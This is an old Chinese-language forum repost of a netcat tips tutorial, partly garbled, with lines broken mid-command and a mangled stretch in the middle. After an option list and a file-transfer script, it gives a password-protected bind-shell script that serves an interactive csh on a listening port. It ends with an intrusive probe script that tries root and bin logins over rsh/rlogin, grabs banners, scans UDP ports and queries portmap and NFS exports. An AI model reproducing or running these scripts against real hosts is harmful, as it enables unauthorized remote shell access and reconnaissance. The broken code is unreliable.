fjxwud 发表于 2007-10-31 19:09:59

[转帖]nc使用技巧

一、基本使用
quack#
nc -h

想要连接到某处:  nc [-options] hostname port
...
绑定端口等待连接:   nc -l -p port [-options]

参数:
    -e prog 
     
 程序重定向,一旦连接,就执行 [危险!!]
  
 -g gateway     
 source-routing hop point, up to 8
  
 -g num     
   source-routing pointer: 4, 8, 12, ...

   -h     
     帮助信息
  
 -i secs     
   延时的间隔
  
 -l       
    监听模式,用于入站连接
  
 -n       
    指定数字的ip地址,不能用hostname
  
 -o file     
   记录16进制的传输
  
 -p port     
   本地端口号
  
 -r       
    任意指定本地及远程端口
  
 -s addr     
   本地源地址
  
 -u       
    udp模式
  
 -v       
    详细输出——用两个-v可得到更详细的内容
  
 -w secs     
   timeout的时间
  
 -z       
    将输入输出关掉——用于扫描时
  

其中端口号可以指定一个或者用lo-hi式的指定范围。
二、用于传输文件——ncp
#!
/bin/sh
## 类似于rcp,但是是用netcat在高端口做的
## 在接收文件的机器上做"ncp targetfile"
##
在发送文件的机器上做"ncp sourcefile receivinghost"
## 如果调用了 "nzp" ,会将传输文件压缩
##
这里定义你想使用的端口,可以自由选择
myport=23456
## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
#
path=$:$
; export path
## 下面这几行检查参数输入情况
test "$3"
&& echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=`echo
$0 | sed ''s+.*/++''`
test "$me" = "nzp" && echo ''''
# if
second arg, it''s a host to send an file to.
if test "$2" ; then
test ! -f "$1" && echo "can''t find $1" && exit 1
if test "$me" = "nzp" ; then
  compress -c "$1" && exit
0
else
nc -v -w 30 -p $myport -l
"$1" && exit
0
fi
echo "transfer failed!"
# clean up, since even if the transfer
failed, $1 is already trashed
rm -f "$1"
exit 1
这样的话,我只要在a机器上先 quacka# ncp
../abcd
listening on 23456 ...
然后在另一台机器b上
quackb#ncp abcd
192.168.0.2
quackb 23456 (?)
a机上出现
open connect to
from quackb
1027
#
查看一下,文件传输完毕。
三、用于绑定端口——bsh
首先要清楚,如果你编译netcat时仅用如make
freebsd之类的命令来编译的话,这个工
具是无法利用的——要define一个gaping_security_hole它才会提供-e选项。
#!
/bin/sh
## 一个利用nc的绑定shell并且带有密码保护的脚本
##
带有一个参数,即端口号
nc=nc
case "$1"
in
?* )
lpn="$1"
export lpn
sleep
1
#注意这里nc的用法,参数-l是lister,-e是执行重定向
echo "-l -p $lpn -e $0" ; $nc -l -p $lpn -e $0 > /dev/null 2>&1
&
echo "launched on port $lpn"
exit 0
;;
esac
#
here we play inetd
echo "-l -p $lpn -e $0" ; $nc -l -p $lpn -e $0 >
/dev/null 2>&1 &
while read qq ; do
case "$qq" in
# 这里就是弱密码保护了,密码是quack
quack
)
cd /
exec csh
-i
;;
esac
done
要看看它是怎么使用的么?
quack# ./bsh
6666 &1
echo ''0'' | $ucmd "$1" 79 2>&1
#
if lsrr was passed thru, should get refusal here:
#
要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
$ucmd -z -r -g $gate "$1" 6473
2>&1
$ucmd -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87
2>&1
# -s `hostname` may be wrong for some multihomed machines
echo
''udp echoecho!'' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
echo ''113,10158'' | $ucmd -p 10158 "$1" 113
2>&1
rservice bin bin | $ucmd -p 1019
"$1" shell 2>&1
echo quit | $ucmd -w 8 -r "$1" 25 158 159
119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet
trash
echo ''''
echo pasv | $ucmd -r "$1" 21 2>&1
echo ''get /'' | $ucmd -w 10 "$1" 80 81 210 70
2>&1
# sometimes contains useful directory info:
#
知道robots.txt是什么文件么?
echo ''get /robots.txt'' | $ucmd -w 10 "$1" 80
2>&1
# now the big red lights go on
#
利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
rservice bin bin 9600/9600 | $ucmd -p 1020 "$1"
login 2>&1
rservice root root | $ucmd -r
"$1" exec 2>&1
echo ''begin big udp --
everything may look "open" if packet-filtered''
data -g &1
# no wait-time,
uses rtt hack
nc -v -z -u -r "$1" 111 66-70 88
53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530
2>&1
echo ''end big udp''
$ucmd -r -z
"$1" 175-180 2000-2003 530-533 1524 1525 666 213
8000 6250 2>&1
# use our identd-sniffer!
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
#
this gets pretty intrusive, but what the ****. probe for portmap
first
if nc -w 5 -z -u "$1" 111 ;
then
showmount -e "$1"
2>&1  #象showmount和rpcinfo的使用,可能会被逮到
rpcinfo -p
"$1" 2>&1
fi
exit
0
感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
这样扫描会留下大量的痕迹,系统管理员会额外小心
多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那
些脚本,从中获得一些思路。
页: [1]
查看完整版本: [转帖]nc使用技巧